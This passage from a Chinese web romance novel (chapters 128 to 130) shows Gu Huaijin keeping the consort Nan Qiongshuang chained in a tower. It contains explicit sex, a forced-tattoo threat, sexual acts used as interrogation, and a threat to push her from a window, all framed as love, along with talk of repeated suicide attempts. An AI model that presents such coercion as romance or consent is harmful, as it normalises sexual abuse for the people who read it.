忽然说这个做什么。 下一瞬,一点冰凉的、毛糙的东西落在她胸口皮肤上,激得她身子一抖。 一阵泛寒的麻痒。 “从今往后,娘娘爱喜欢谁,爱选谁,顾某都拦不住。不论选谁,也不能是顾某了。所以——” “恩断义绝之前,顾某送娘娘幅小画吧。”他笑道,“也算祭奠多年,‘一点感情’。” 她怒得有点发抖: “你有病吧!在人身上画什么画?” “先画。画完之后,再刺成纹身。”他垂首细描,所到之处,痒得她咬唇,“刺个‘瑾’。” 她骤然挣扎起来,两根铁链被她拽得哗啦一阵响,“在我身上写名字?!” 他不答,只是运笔,黑绸底下两片唇死白。 “画些锦鲤,并荷叶莲花。”他笑,微凉的毛笔杆在她身上点着,激得她浑身绷紧,“留几团吻痕,做水面落花,要挑些形状格外好看的。最好既能瞧出是吻痕,又能与鱼儿融为一体。” “胸口处可画些莲叶……”他信手抚摸着软峦,一面食指流连着打稿,她无可奈何仰头强忍,“再多几尾鱼,以紅色为佳。锦鲤,‘锦’音同‘瑾’,既是留念,亦是署名。等到日后摄政王与娘娘……” 说到这,话顿了一瞬,挣扎再挣扎也出不了口,笑了,“……想必摄政王机巧心肠,也看得明白。” “至于……”他微凉手指抚过桃尖,拨着,惹得她一阵呜咽战栗,“刚好用作莲花苞。晕……便是水面倒影。”他沉思一阵,“不知娘娘意下如何?” 她只有一个字:“滚。” 他笑了:“娘娘此番,便是同意了。画好了,便以颜料纹在娘娘胸前,我亲手纹。” “不行。我告诉你,不行。”她将字咬得不容置疑,“绝对不行。我们身上不能有任何刺青,伤疤都已是——” 他自顾自说下去,“……想必,娘娘肤白,显色应很好看。若是吻痕不够……”他俯首下去亲着,“……再吻。” “你给我滚。”她气喘着左挪右移,“谁准你在我身上刺青?!你的身子吗?!” “不是我的身子。但是……”他支起身子来想了一瞬,笑了,“……也不是我的人了。忘了。” “别乱动。娘娘听话些。”他手肘撑在她身侧,下去衔了衔桃晕,她顿时倒吸一口气,蹬着腿挣扎起来,他哄着,“别动。”一面伸手下去寻到了花苞,拨开,她唔的一声,两手动弹不得,太阳穴嘣嘣跳。 “娘娘是朵花呢。”他右手运笔打稿,左手若无其事弯着指节,她控制不住地哀哀发抖,“上面是莲花苞——下面是花骨朵。怎么看都是花。娘娘怎么光哆嗦,不说话了?” 还说个屁。 她咬着牙骂:“给我滚开,顾怀 瑾!” 他弯着唇,连连落笔。 如今,甚至不仅仅是连名带姓了。 她知不知道,每次她用含恨的语气喊他,都叫他很想自杀。 “不准画了!你给我下去!拿出去!在戏耍人吗?!谁准你画?滚开!” “娘娘。”他手指更加咄咄逼人。 她脑子空了一瞬,才听见方才自己不争气地叫了一嗓,更加恼恨,“滚开!我叫你滚开!少耍我!” “乖娘娘。”他俯下身去含她的两片唇。 被她发狠一咬。 他终于怔住了,撑起身子面无表情地望着她。 她双颊潮紅,但一双眼,亮如寒锋,刀片一般。 “顾怀瑾,我最后跟你说一次。拿出去、不准画、不准刺青,我不要纹身。你听见了没有。” 他不动声色地听着。 “怎么。我们既然没有可能,我同摄政王有没有可能,又与你有什么关系。为了激他,在我身上纹你的东西,你拿我当什么。玩弄我?” 他笑了:“我说我爱娘娘,娘娘稀罕么。” 她灼灼盯着他,不错眼珠: “说得明白一点。我不想做的事,天王老子来了,也逼不得。你就算用十个大汉按着我刺了纹身,我也会去洗掉,不论是用草药汁,抑或用针,不论那药汁是否灼烧、是否有毒,不论疼痛与否,我不想要,就不会要。” 顾怀瑾撑在她面前,长发往下垂落,呼吸一下重似一下。 “你想在我身上留印记?做梦。我有的是方法。即便药汁无效,其他法子也无效——”她笑了一下,“我就算把这块肉割下来,不要也还是不要。留你的印记,你别想了。” 顾怀瑾垂着头,手逐渐将她头两侧的床单抓得一团绉褶,臂上青筋渐渐隆起。 “你究竟想怎样。”良久,他压抑着长叹一口气,膝盖抵在她双膝之间,分开。 “我不想怎样。”她平静道,“我对你没什么所求。如今……也不只是我不是从前的我,你也不是从前的你。” “对。我不是从前的我。所以,”他俯下身去捧正她的脸,逼她直视自己,笑着,“娘娘连记得,都不想记得我了。” 玛瑙珠般的血,啪嗒两声砸在她脸上,往下拉出两根黏稠的线。 她登时愣了。 他的绸带,洇了太多泪,已经浸湿得兜不住。 血腥气在她鼻尖萦绕开来。 她双睫不住颤抖。 ……怎么哭成这样啊。 一派怡然自得地亵玩着别人,可是怎么哭成这样啊。 怪不得,近乎玩`弄地抚摸她,手却冰凉。 顾怀瑾倒是笑着:“娘娘,抛下我数回,我昏天黑地歇斯底里地找,找到了,娘娘转头又将我抛下。眼下,不仅抛下我,还要另谋良人,甚至连记得,都不愿记得我了。” 簌簌的血珠被他抛落下来,噼里啪啦砸在她脸上,溅出一连串的小血点。 “我到底哪里对不住娘娘。当年天山上,我出事,都是你陪着,你出事,全是我去救。我们一起经历过那么多,没有爱也有恩情,究竟何以走到这一步,皎皎。” 他的嗓音,平静得近乎悲哀。 皎皎。 这个名字登时叫她流泪,她也不知为什么,喉咙里好像哽了块石头:“……好了,怀瑾……” 皎皎从不是皎皎,怀瑾不是怀瑾了。 “这么多年,顾某想要娘娘一句实话。” 他两手撑在她身侧,垂着头,长发顺滑地垂络在她脸孔四周,绸带缚着,看不见他的表情,只有他的泪,一颗一颗渗过黑绸,砸在她脸颊: “娘娘真的爱过我吗。” 他的脸色,白得太吓人了。 她张了张口又合上,终于明白,方才他那种无谓姿态,是强撑。 她轻轻哄着:“……好了,听话。” “爱过吗。” 他的脸孔悬在她鼻尖上数寸,惹得她很希望他下来吻她。 “嗯。” “真的吗。” “嗯。” “那为什么每回,轻易就舍下我。” 她偏开眼,斟酌着。 “怀瑾,人生不是只有情爱……有时候,是不得已而为之。” 他笑了一声,喃喃:“‘不得已’。怎么个‘不得已’法。” “当年……”这两个字从唇边溢出,她吓了一跳,仔细在脑子里审过一遍,权衡再三,觉得陈年旧事,无涉眼下,告诉他也并无不可,她接着道: “其实当年,我与叛门,只有一线之隔。” “真的吗。”他倏地凑到她脸前,追她的眼睛。 她睫毛抬起来扑扇着:“把你的绸带解下来行不行。看不见你的眼睛,我都不知道你哭了。” 他怔了一瞬,才明白她何以忽然柔软了下来:“我流眼泪,你心疼了?” 她轻轻道:“嗯。” 他从脑后将绸带抽下来解开,闭着眼睛去追她的双唇。 软.滑馥郁,他近乎陶醉地含住她的唇瓣,用唇揉着。 方才被她咬过的地方,还微微刺痛。 早知道他流血,她便会心疼,何必费这么多麻烦。 他一面含吻着,一面拨着她的碎发,心里终于明白过来。 他爱的这个人,骨头硬得很,吃软不吃硬。 或许,这种脾气,拷打是问不出什么来的。 刀枪剑戟相逼,只会把两个人逼上绝路,真的拍散了。 他闭着眼睛缱绻地含她榴紅的唇珠:“乖乖,当年……” 第128章 他有意把话说得模棱两可,怕她以为在逼问。 “当年……”她松开他的嘴唇,仰头喘了口气,闭上眼睛,再三考量哪些能说,哪些不能。 想了半天,她没说话。 如果要说,务必先从雾刀说起。 可是,倘若连雾刀的事都和盘托出,他能猜出来的可就多了。 她有点懊恼,偏开头,不去看他。 或许,不该开这个话头。 顾怀瑾眼看着她欲言又止,话都到了嘴边,又被她斟酌着咽下去,垂下眼想了一瞬。 不说,不可能。 既然她主动开了“当年”的口,口风便已松动一瞬,不过是理智回笼,又将这点动摇压下去罢了。 为什么她一理智起来,就会放弃他。 那么,别理智了。 “其实,”他刻意把嗓音放得温柔,一面信手滑进去抚着她心口,掌心绕着圈摩挲,“乖乖,你真确定,倘若做够了数,他们就会放人么。” 腕上两根铁链瞬间被她扯直了,她蹙眉强忍着。 她不说话。 “我查过了。自饶河接走你的那只乌篷船,是附近一家寻常船户所有,当日被一个富商租去,带了二三舞女想要下饶河观花,却在河中央被人劫船,船上人死尽了。” “你上那只乌篷船时,船壁上的血迹,你不是没看见。若不是被我中途截下,你在那船上昏睡,即便那是你们自己人,你也是毫无还手之力。一个人高马大的男人——你又昏睡得动不了。你真觉得你在 那船上就毫无危险?” “还有,他们做事的方式——”他刻意用指尖来回拨着桃尖,附在她耳畔一边厮磨,一边吐字,“杀人劫船。不过是为了接你,又并非什么篡权谋逆的大事,何处无船,为何非要劫船,何至于将船上人杀光了。行事残酷无道,他们会有什么信用。” 她垂下眼,双颊渐渐绯艳如桃花,人也不自觉开着唇轻喘,可是,眼里一点清明,仍旧寒如秋水。 顾怀瑾说的话,她不是没想过。 只是,她入往生门时,年岁尚小。那些绝望、崩溃、恨不能一死了之的苦训的日子,她全靠这一点微茫的希望撑下来。等到她终于长大,终于品出其中隐约的不牢靠,她已经对此深信了多年。 如果不信,太可怕了,那她的人生真就毫无一丝希望。 她不敢不信。 她叹口气。 身上难以控制地烧起来,烧得她一阵燥渴。 不知怎么回事,她在这头冥思苦想,他在那里莫名其妙地搂着她摸个不停,时而又下来含着她嘴唇不放,她再想仔细思考,也控制不住地被反复打断,无可奈何叹了一声。 “你到底在干嘛……” 她嗓音已经软得吓人,连自己都一惊。 “亲亲你。怎么。”他从她下颌颈侧追着吻下,低低道,“吵得那么厉害,我都以为真要撕破脸了。还不准我亲亲?” “你倘若玩弄我,必然是真撕破脸。”她呼吸轻而急,鼻尖出了汗珠,“倘若上刑,也撕破脸。” 他声音轻得像哄孩子:“不上刑。我舍不得。” 她诧异看进他眼睛里去。 顾怀瑾坦然望着她,因为才大吵过,眼里一片迷惘的凄哀。 他这个人,越心伤越好看,眼底蓄着一点薄绯的泪色,眼圈一片支离破碎的粉,人又白得太过分,一点点粉色都显得浓郁,每回痛心时,都好似一大捧封着落花的晶莹剔透的碎冰。 她心里咯噔一下。 “到底是怎么回事……”她哑然失笑,“早上还吵,一言不发地撂下我走了,晚上回来,开口闭口就叫娘娘,说要对我用刑。等到说完,又走了,走了,又回来,回来,又大吵一架要在人家身上刺青,我气得要命真想断了,忽然又抱着亲个不停。现在,怎么又不用刑了?” 顾怀瑾被她说得笑了,也有点无可奈何。 “用刑,你会说么。” 她连眼都没眨:“不会。” “我看也是。”他叹息一声,手掌抚着糯峦不放,一面去吮她的颈侧,“所以,不问了。” 她蹙起眉:“不问了?” 她狐疑时,脸上会有点搞不清楚状况的纳闷神色。她一贯太清醒太淡漠,这点纳闷,叫她异常可爱。 他伸出手点点她的鼻尖。 “你怎么会不问?” 他依旧笑而不语,手印在她腰身,一片滚烫。 南琼霜半信半疑地上下打量他。 他那种讳莫如深又耐人寻味的笑,叫她想起在宫中时,两人相识不相认的那段日子。 这人,不一定在心里琢磨什么呢。 没憋什么好招。 忽然心口被人拨动一点,她闭了闭眼,“你能不能别……说事呢。” “说啊。”他垂首含入口中,缓慢地吮,“我真没想到他们给你下药性那么烈的药。你在那船上昏睡了两日,怎么叫都不醒。” “他们信不过我,我知道。”她两手动弹不得,毫无办法地任人宰割,仰着头强忍,“他们跟我也没句真话……原本是说,要我来回换几次船,谁知,将我药倒了。” “你真的信得过他们么,乖乖。”他逼自己暂将她想换船离开的事放下,大拇指在她腰上一下一下抚摸,“就算做够了数,真的会放人么。” 其实,她也不知道。 “这些年,门内确有几个做够了数,被放走的……。”铁链被她绷得哗啦一阵响,她已经身不由己地难以自控,使不上力,他如常地接,“焉知是放走了,还是被杀了。” 她答不上。 可是,渐渐也没有力气想了。不知为何,她的身子,她自己怎么碰都无所谓,可是,到他手上,怎么碰怎么不行,即便只是随手覆在胸口,也会惹得她一阵失神,遑论他一面哄着,一面亲吻。 她半阖着眼仰头,四象塔内正是夜色深沉,佛头青的床帐在夜里,浑浊得看不分明。 连她的神智,她自己也渐渐看不分明了,仿佛被他哄着、劝着,不知不觉地拖进一个温暖的沼泽里,沼泽四面稳实地裹着她,叫她神思涣散又懒怠,仿佛被人催眠了,陷入其中。 “怀瑾……”她轻轻挣扎起来,“你别碰了。我……” “那种药,若是我,我怎么舍得下给你。”他一面低低说着,一手循着弧线抚下去,拨开覆合的花骨朵钻入其中,她娇着嗓子嗯了一声,愈发发起抖来:“怀瑾……” 他叹息:“出了这样的事,我还是舍不得对你用刑。他们不过是要带你走,竟给你下那么烈的药。乖乖,你究竟为何信他们,不信我。” 她咬着嘴唇。 这种时候,他绝对是故意乘人之危。 可是,她已经脑子不清醒,无暇再想了。 “还是说,”他轻啄着她的鼻尖,又去吻吻她阖紧了颤抖着的睫毛,房间里一阵隐约的水声,她哈着气低泣,他低声问,“还是说,有人在你身边逼你,你很害怕。” “乖乖。”他停了手,容她喘口气再说话,“说吧。” 她头昏脑涨。 这种事,一半中途停了,人总会格外依赖对方,仿佛想在大风大浪的海上抓住一根救命稻草。她抵着他额头:“那你亲亲我。” 他依言亲亲她额角,抵着头磨蹭:“江上,被我打飞了的那只苍蝇,是什么人。” 她拧着眉,依旧踌躇。 他又问了一遍,缓缓转动勾玩:“是谁啊,乖乖。” 她控制不住地抽搐两下:“是……雾刀。” “雾刀?” “……我的教引。” “教引是什么。” 她不说话了。 他弯了指节,吻她的唇畔:“他一直跟着你?” 她气喘吁吁:“……对。” “包括天山上?” “嗯。” “所以,方才你说,你当年……” 他有意不说了,要她自己接下去。 “对。他说……”她半眯着眼睛,软着身子低叹,“……如果我不下手,就会把我是细作的事,告诉你,叫我留在天山上,也是死在你手里。” 顾怀瑾一下子停了下来。 “怎么停了……”她睁开迷离的水眸寻他。 他如一尊黑曜石打的雕塑,肃杀阴沉,闭了闭眼。 这人脸色变得太快,方才还一派温柔溺爱,一瞬就一身杀气,她在汹涌的春潮里清醒了几分,哄他,“怎么了,忽然这么吓人。” “没事。”他睁开眼,又笑着去啄她嘴唇,“那只苍蝇,想用我来对付你?” 她双颊嫣红,垂眸:“用你来逼我。你知道的……你父母兄长都是因往生门而死,如今轮到你自己。所以那时……你再爱我,我也……” “你也不敢赌。”他自己接下去。 “对。” “乖乖。”他忽然凑近,“我怎么可能会伤你。我如今都不舍得,当年如何舍得。” 她嘀咕:“我当年哪知道。你父母兄长都是因细作而死,谁拿得准。” 他戴着白玉扳指的手,在额上扶了一瞬:“所以你当年下手,一半是为了自保。” “其实在往生门内,人人都只求自保。”她摇头,“我当年……没有别的选择。” “那如今呢。”他凑到她鼻尖前,呼吸喷薄在她唇上,眼神比从前更浓烈灼灼,缱绻又粘稠,他压着睫毛凝望她,“你怎么选。” 第129章 她在混沌的春意中抬起眼,有点茫然。 为什么要一边……一边逼她想这种事。 “我如今……”她又在波浪中身不由己地颠簸起来,眸子里带点迷离的红意,半阖着,“如今……怀瑾,你……” “怎么不说话了。”他终于放缓了下来,慢条斯理地折磨她。 她咬着嘴唇呜咽一声,连脖子都憋红了。 他弯着唇看着。 就像她欣赏他脆弱落泪的模样,他也格外欣赏她这种时候的样子。 旖旎、缱绻、艳糜。 脆弱、无助、依赖他。 他喜欢被她依赖,喜欢被她需要,喜欢她没他不行。 他在她耳边轻声笑:“……乖乖。喜欢吗?” 她含着泪花,蹙着眉头看他。 他心里叹了一声,怎么这么叫人心疼啊,阖眼轻轻吻了吻她的唇角。 “如果你喜欢,我们可以一直……” “……不可以。”她比他坚定的多,一口回绝。 “如果不想一直……那就说。” 她难以置信地看着他。 这就是为什么他用手吗? “疯子。”她骂了一声,“说什么。” “要不要选我。” “怀瑾。”她把理智一片一片凑回来,重整旗鼓,“我来无量山以前,毫无反心。才在山上待了一天有余,你就叫我……” 后面的话,她又说不下去了,他好整以暇地覆手为雨,铁链一阵挣扎绷直的响动。 “为什么毫无反心。” 她筋疲力竭地垂下头,扑腾许久,她已经难以忍受。 “说话,乖乖。”他带点势在必得的笑意,“听话,我就会快些。为什么毫无反心。” “你这人……”她已经不知自己是想躲还是不想躲,或者,已经轮不到她来选,她的身子会早一步做出选择,“我……当年,离叛门只有一线之遥,都没有叛。如今……就更不可能叛。” “你真的确定他们会守信?” “怀瑾,”她仰着头道,“我知道你想说什么。但是……” 她迟疑了许久,没说下去。 他静静地等。 “你想要的东西,我不能这么快……给你一个答复。”她叹气,“为了唯一的一个夙愿,我已经拼了十二年。要全部放弃,从头开始,谈何容易。我最多答应你……再想想。” 再想想。 一个守口如瓶的人,这已经是明显的松动了。再逼下去,短时间内,也是无益,只会惹得她厌烦。 她的脾气,他如今隐约品出来一点——她是逼不得的。 他轻轻吻了吻她花茎一般的粉颈,撤出手指,撩摆缓缓地挤入:“好。那你答应我,再想想。” “不过,怀瑾。”她皱眉忍耐开始时最难耐的异物感,缓了一会,他慢慢地容她适应,片刻她道,“你到底打什么主意呢。” 他被逗笑了:“什么?” “真不上刑了?” 他不说话,两手撑在她身侧,再往里挤了一点,一面欣赏她身如浮萍、无奈仰仗着他的模样,拨开她一点黏在腮侧的发。 她半阖着眼:“你不用刑……怎么跟天山交代?就这么放过我了?” 顾怀瑾只是勾唇,手在她绯艳的颊上蹭了蹭。 放过? 这一派不知是痛是愉的模样,难道她就真的好受吗。 她怎么会觉得这算放过? 他笑着埋首进她怀里吻着,听她喉咙里断断续续的破碎的呼救。字和字黏连在一起,从口齿间拖曳出来,唤他的名字的时候,每一个字都用力到几乎将音咬碎,他对这种声音格外满意——毕竟她爱他,爱得太不用力了。 他低低道:“但凡有别的法子,我都不会走这一步。” “……别的法子?” 她纳闷,捧起他的脸。 他笑笑,再俯首去吻她心口,她搂着他的头简直难以自处,迷离着眼在他肩上一阵敲打,又听见他道:“乖乖,其实……” 话说了一半,没说下去。 “……怎么了。”她摸着他潮湿的眉毛。 “用刑,你真的不怕吗。”他抬起头看她。 那一双羽睫底下澄澈的眼,哀恳、疼惜、怜爱,看着她,仿佛替她痛似的。 她一时顿住了呼吸。 他这个人,好像她伤一下子,先受不了的是他。 “其实,不知你如何作想,但要对你用刑,”他垂下睫毛,投下几根纤长的影,吞咽了一下,“我很害怕。” 他无心缠绵悱恻,撑起身子,垂首望着她,长发从背后垂落在她脸孔两侧。 “甚至,并不是因为害怕我们断掉。只是因为……” 只是因为,想到你会受伤,就受不了。 更不要提,以后无数个日夜里,要如何过自己那一关。 “你当年……”他不知怎么,微微颤抖着,微凉的手指从她锁骨勾画着滑过,“你当年坠崖,是因为我……”她感觉身体深处,随着他细细地哆嗦起来,“……伤得有多重,那些年,我都不敢想。如今……” 如今,如何能再伤你。 即便攒了五年的决心,五年的勇气,蒙上眼睛,喃喃着门派之仇,终于敢来要求你用刑,还是在察觉其他法子有一丝希望的时候,顷刻便改了主意。 但凡有半点两全的方法,那种方式,他都不会用的。 南琼霜屏着呼吸听着,听到耳朵里的,倒不是他不忍心用刑。 她轻轻道:“我当年坠崖……跟你有什么关系?你不会一直因为这件事……” 不会因为这件事,折磨你自己吧。 顾怀瑾在黑暗里垂首,忽然几颗温热的血,啪嗒砸下来,砸得她心中一阵震颤。 她仰在枕上,四目相对,月色底下,他的眼睛悲伤得几乎要叫她也落泪: “乖乖,对不起……” “你有什么对不起我的……” “是我太冒失了。明知你心中害怕……” “我害怕是因为我……”她手足无措地上去摸他的脸,他含着泪蹭她的手掌,“我害怕是因为……我做了亏心事。跟你又有什么关系……” 他一句话也没有,眼泪一颗一颗掉。 她这时候终于明白,为何五年不见,他一见她,还是撒不开手。 他把她当年坠崖,当作是他的过失。 可是,一个被爱人背叛过的人,捡回一条命后要回去问个明白,又有什么错,叫住她,又有什么错,她从那铁索上失足掉下去,是她自己没本事罢了,这怎么能怪在别人身上。 “我从来没有因为这件事怪你,怀瑾……”她泪水扑簌簌落,大拇指在他脸上轻抚着,“你怎么总是……跟你有关的,跟你没关的,都算在自己身上。这么多年……” 这么多年,怎么还跟做天山少掌门时,一样。 他不答,埋进她颈窝里,一阵颤抖的哽咽,泪水和呼吸洇得她锁骨和颈侧一阵湿热,她搂住他的背一下下拍着,不知不觉,泪从下巴滴到锁骨,淌到胸前。 “不要因为这些事怪你自己,怀瑾……”她劝,“我当年……当年做的那些事,即便你真用刑,我都没什么好说的。何况兰阁禁地那晚,是我……背叛在先。” 他悠长的呼吸在她耳畔起落许久,最后道:“你不也是……为了自保。” 她偏首与他的头相贴,闭上了眼。 倘若她不爱他,那就只是为了自保,她不会有任何愧疚。 但他们相爱,所以是背叛。 她的眼泪哗哗滚落下来,睫毛颤动着,没说话。 “以为你死了的那些年……我很想你。”他在她颈侧啜吻一下,柔软的触感,惹得她身上一阵麻痒,“但是,最初也义愤填膺地装着恨,逼自己忘了你。后来,在法门寺找到了你那块平安牌……” 他笑了一下,“那以后,就不行了,差点死掉。” “怀瑾……” 他俯下身子来吻她,一面又渐渐动作起来,笑:“你知不知道,那些年,我连个能说的人都没有。人人都恨你,我在一旁,不敢出一言。自你走后,每次提起你,后面都得跟一句‘窃山仇人,安敢忘怀’。不解释,不敢提。” 她泪流满面地随他颠簸,他望着她的眼睛,笑着喟叹:“你死之后,阖山拍手称快,我一个人,连缅怀都要避着人。那时候觉得……为什么这么不公平啊,只是一个坐在石阶上吃冰圆子的小姑娘。后来……你常常入我梦里。梦里,每回到后面,都是今天这般。” 她咬唇受着,半眯着眼,眸子里一片泪水颤动,从内到外地哆嗦。 “后来,不知怎么,我总是能看见你。有时是在我房里,有时是在窗下……有时我练字,你就站在桌边。有一阵,我以为是你回来了。他们说,我是见了鬼。我想,变成了鬼,叫我见着了,那不就是死了吗。所以有一阵,总想自杀。” 她骤然想起她那个梦。一柄剑,她以为他是要杀她,不想剑锋一转,搁在了他自己的颈间。 “你不要犯傻。哪有人自杀二十七次的。我既然给你留了一条命,就是让你好好活着,你不要跟我要死要活的!” “不是你说的吗, 乖乖。”他垂着眼,怕她不适,慢慢动作,“不是你说的吗,要我跟你一起死。” “我那只是……” “你那只是说说,”他笑,“但我当真了。我们总是这样。你随便说,我都当真。” “没有,怀瑾……”她握着他的胳膊把他拉下来,拉到怀里抱着,他宽阔的背脊,抱起来厚实可靠,他一面下来拥住她,一面慢慢往内挤入,她咬唇拼凑着嗓音道,“以后,我都不跟你演了,说一句算一句,行么。” “句句算话?”他的鼻梁抵着她鼻梁。 “句句算话。” “答应了我,就不能反悔。”他道,“我都当真的。” 她点头:“好。” 他骤然登堂入室,难耐地皱着眉头,闭着眼睛去吻她眉尾,她控制不住地啊了一声。 “乖乖,”他垂首吻她的唇,上下都相连,他喜欢这样同她讨要承诺,“倘若再有这样的事,就来找我。” “什么事?”她慢慢开始神思涣散了。 “倘若真……出了什么事,”他把喉咙里的闷喘压下去,“可以来找我。上我的身……我们共用一个身体。” 他哄着:“听见了吗。” 她含着泪,泪水随他的动作颤颤晃动。 这么不想分开,回了洛京可怎么办啊,这个傻子。 “听见了吗。”他咄咄逼人。 她说不出来话了,只感觉身体深处塞了一尾鱼,鱼头孜孜往前钻着,鱼尾在外面噼啪地拍,她无师自通地送往迎来,渐渐地,那尾不知进退的游鱼循着她的血管逆流而上,惹得她每一根细细的神经噼啪炸开火花,冲进她脑子里,斩断她的帅旗凿破她的战鼓,下一步,就要灭掉她的城池。 “怀瑾……”她手脚都麻痹了。 “听见了吗。” “……好。” “还有。”他含着她耳垂低语,“以后,选我,不准再放弃我。” 她其实已经不知道他在说什么,只隐约听见血管里的轰鸣。 “好吗。” 城池攻破,只差一瞬。 她已经忍不住不答应。 “……好。” 他大拇指抹去她的泪花,俯首下来吻她的唇,封住。 楼下有十二黑衣侍卫,这般无措的长长的哀呼,她清醒过来以后,不会想任何人听见。 第130章 顾怀瑾亲自下的令,第二日午时对她上针刑,结果时辰到了,行刑人奉命进了刑场,发觉犯人尚不知在何处。 顾怀瑾没有叫她起床。 气势冲冲的行刑人深感被小小蝼蚁看低,张牙舞爪地派人四处去寻,最后得到消息,说下令行刑的掌门,正跟犯人,宿在同一张床榻上。 行刑人偃旗息鼓,早早下值。 不过。 针刑免了,倒有其他苦恼的事。 有些事情,变了味。 自从他那日用那种暧昧不已的方式逼出了她两句实情,他似乎觉得这种方法大有可为,一而再、再而三地用在她身上。 每日她早上起床,便见顾怀瑾衣冠齐整地坐在高塔窗边,阅完嘉庆帝火急火燎的来信之后信手扔进字帖堆,一边对她笑:“乖乖,皇上念你,念得紧呢,瞧这一大堆信。” 她躲在衾被里,不仅疲乏,还有些惧怕。 每次念完皇上的急信,他语气会格外阴阳怪气些,念完便去一旁的铜盆中洗手,而后撩摆坐在她榻侧:“娘娘歇好了吗?” 她如今……一见他洗手,就胆寒。 “你这人究竟想怎样……”她裹着被子往床榻深处缩,“把我衣服拿过来。” 他缚着绸带,勾唇,拽着铁链将她一寸寸拖到身侧,剥开衾被。 里面的人,吻痕斑斑,新的旧的,深的浅的,纷纷交杂在一处,一眼看过去,仿佛在花瓣堆里滚过。 “别穿了。穿了怎么亲。”他揽着膝弯将她搂过来翻面,沿着脊背,往下按揉她酸痛的腰,惹得她龇牙咧嘴:“累不累?” “……累。”她转过头去哀叹,“所以今天不要……” “我想你,怎么办。” “你想个屁。天天在一个房间里寸步不离的……”腰痛得她有口难言,她抓着架子床的立柱,指甲抠掉一点碎漆。 她如何不明白。 他不过是吃到了这种方法的甜头,日日夜夜地,打着爱她的名号,上他顾怀瑾自创的刑。 只不过,她也没有点明。 隔着这么大的仇怨,要他一点也不逼问,不现实。 能将上刑化为……上,上床,已经算是大事化小、小事化了。 并且,一来二回,她还得以抵挡些许。 若是被他发觉,他一流血她便心疼,天天拿着把匕首自残,那她才是叫天不应,叫地不灵。 是以,她心知肚明,但睁一只眼,闭一只眼。 顾怀瑾是否知道她知道,她不知道。 但他问的问题,渐渐地,她也不知是何意。 最初,他常常问“到底叛或不叛”,隔三差五拿这个问题抽查她。 她要么模棱两可地说“想想”,要么干脆利落地说“不叛”。 答得太不留余地时,他脸色便不着痕迹地沉下来——如今,即便他蒙着那根绸带,她有时也辨得出他的情绪了。 若再撞上嘉庆帝来信催促,或者更加背运些,撞上盖着李玄白的大印的来信,她便得——格外遭点罪。 大多数时候,他是用手。可是那一回,许是李玄白的印又激了她,他竟然解下她的铁链,将人按在窗边,下半身在窗内,上半身在窗外。高塔呼啸的风从塔底直挺挺猛刮上来,她莲子般白生生的身子被纷乱的长发裹得一派糊涂,人连惊叫都顾不上了,扒着窗边: “你疯了是不是?!” “说你选我!”他兜着她的背,怒不可遏,她的腰不住往后撞到墙上,一阵撞击声。 塔底下把守着十二个侍卫。人在窗外,下面的人,什么都听得见。 她一面酸愉得头晕目眩,一面颈椎不受控制地悬垂下去,倒着,看见长发纷飞间,远远的地面。 侍卫们并不敢抬头。 她扒着窗框,上边悬空,下边苦愉,睁眼闭眼都是刺目的湛蓝的天,指尖麻痹得几乎抠不住,明知下面有人,还是情难自禁地尖叫。 “你别发疯了——真的,我求你……” “到底是我,还是他,乖乖。”他将缠绵情事变为一场拷打,威胁,“不说,把你推下去!” “怀瑾你轻……”她的呼救和哀喘就湮没在风里。 那一次,她下来后便两膝一软,跪在地上,连去下面长生泉,都是他抱着去的。 原来还可以用这种方式杀人的——那种感觉,简直灭顶。 后来很久、很久,李玄白一来信,她比顾怀瑾,更心烦。 再后来,他隐约发觉,径直逼问她“要不要叛”,是没用的。 兜着圈子跟她周旋,比较有用。 他开始问一些莫名其妙的问题。 往生门的门口有几盆花、有无牌匾、屋檐如何,一年四季种些什么花草,院子大概几尺长,每到夜里挂些什么灯笼,夏天有些什么样的虫鸟,诸如此类不知所谓的问题。 她不知这些问题用意何在,每次他开口问,又都故意将她置身于一个不上不下、近乎痛苦的点,她实在顶不住,往往就痉`挛着身子服软,吐给他两句实话。 实话过后,就更加变本加厉。 她一直以为,这些边边角角的琐碎事,即便告诉他,也没有什么。 直到有一天,他终于放了她,下了塔。 她还以为连日的上刑终于告了一段落,如蒙大赦地趴在枕上睡觉,不想,眼睛一睁,顾怀瑾衣衫齐整地坐在被余晖染成橙色的窗边,见她醒了,递来一幅画。 往生门的正门。 她一看便沉默了。 当年天山,第一丹青手。 眼睛再一瞟,他 又慢条斯理地走到一旁去洗了手,玉管般修长洁白的手指,用帕子裹着一寸寸擦干,坐到她身侧。 她如今,一见他擦手,就心悸,仿佛看见军士上战场前擦拭兵刃。 顾怀瑾缚着绸带:“乖乖,看这画上还缺了什么。” 她:“……什么都不缺了。” 顾怀瑾:“真的吗?”将人搂过来,从双颊一直往下摩挲,“娘娘。” 每回逼问她,他格外爱叫她“娘娘”。特别是——她一身红紫吻痕,嫩生生得仿佛剥出来的莲子,而他,衣履齐整,长衣宽袖,一根不入红尘、断情绝欲的黑绸带蒙在眼上,拽着她的锁链把她拖到怀里,一口一个“娘娘”。 “娘娘当真不指教一二?”他牵起她慌忙去挡的手抚在自己脸上,一面吻她,“那么,顾某又想娘娘了。” 南琼霜:…… 他用这种方式,不知从她口里撬了多少虽小但真的东西。 后来,连她这般口风严的人,都有点破罐子破摔,只要见他洗过了手含笑走来,便并着腿裹好衾被,盘算今晚,哪些东西可以漏给他。 或许是因为他的刑虽软也不软,或许是因为她的忠心虽硬但也不硬,整日在塔上拷打,她也不恼,只是无奈,有些时候,甚至更离不开他。 他也察觉,这种法子,不仅可以得到他想得到的东西,连他极力强求的人,也一日一日更加黏他,于是愈发整日在塔上,哪也不去,专心缠绵厮磨。 桌子上,嘉庆帝的来信越堆越高。 从最初尊敬有加的信函,一封一封,逐渐变为用语肃正的诏令。 到最后,盖着大印的诏令一连发了六道,快马加鞭,送上无量山。 顾怀瑾充耳不闻。 那些诏令,渐渐堆得连她也看着心慌,夜里对他道:“怀瑾,该回去了。” 顾怀瑾只是拥着她不说话。 她如何不知道他在想什么。回了洛京,一个宫妃一个臣子,哪里还有日日相对的时候。假如她咬死不叛,这种日子,到死也不再有了。 但是,嘉庆帝无他不可,他如何能抗命不回洛京。她又是嘉庆帝的爱妃,他哪里有理由将她锁在山上。 洛京,早晚要回。 不过是从未来借当下,拖一天算一天。 顾怀瑾不是不知此事的利害。因此,第七道诏令发上无量山时,他一个人下了塔,一去便是一天。 倘若要考量回洛京的事,不论如何,他眼前不能有她。 顾怀瑾一走,四象塔上就只有南琼霜一人。 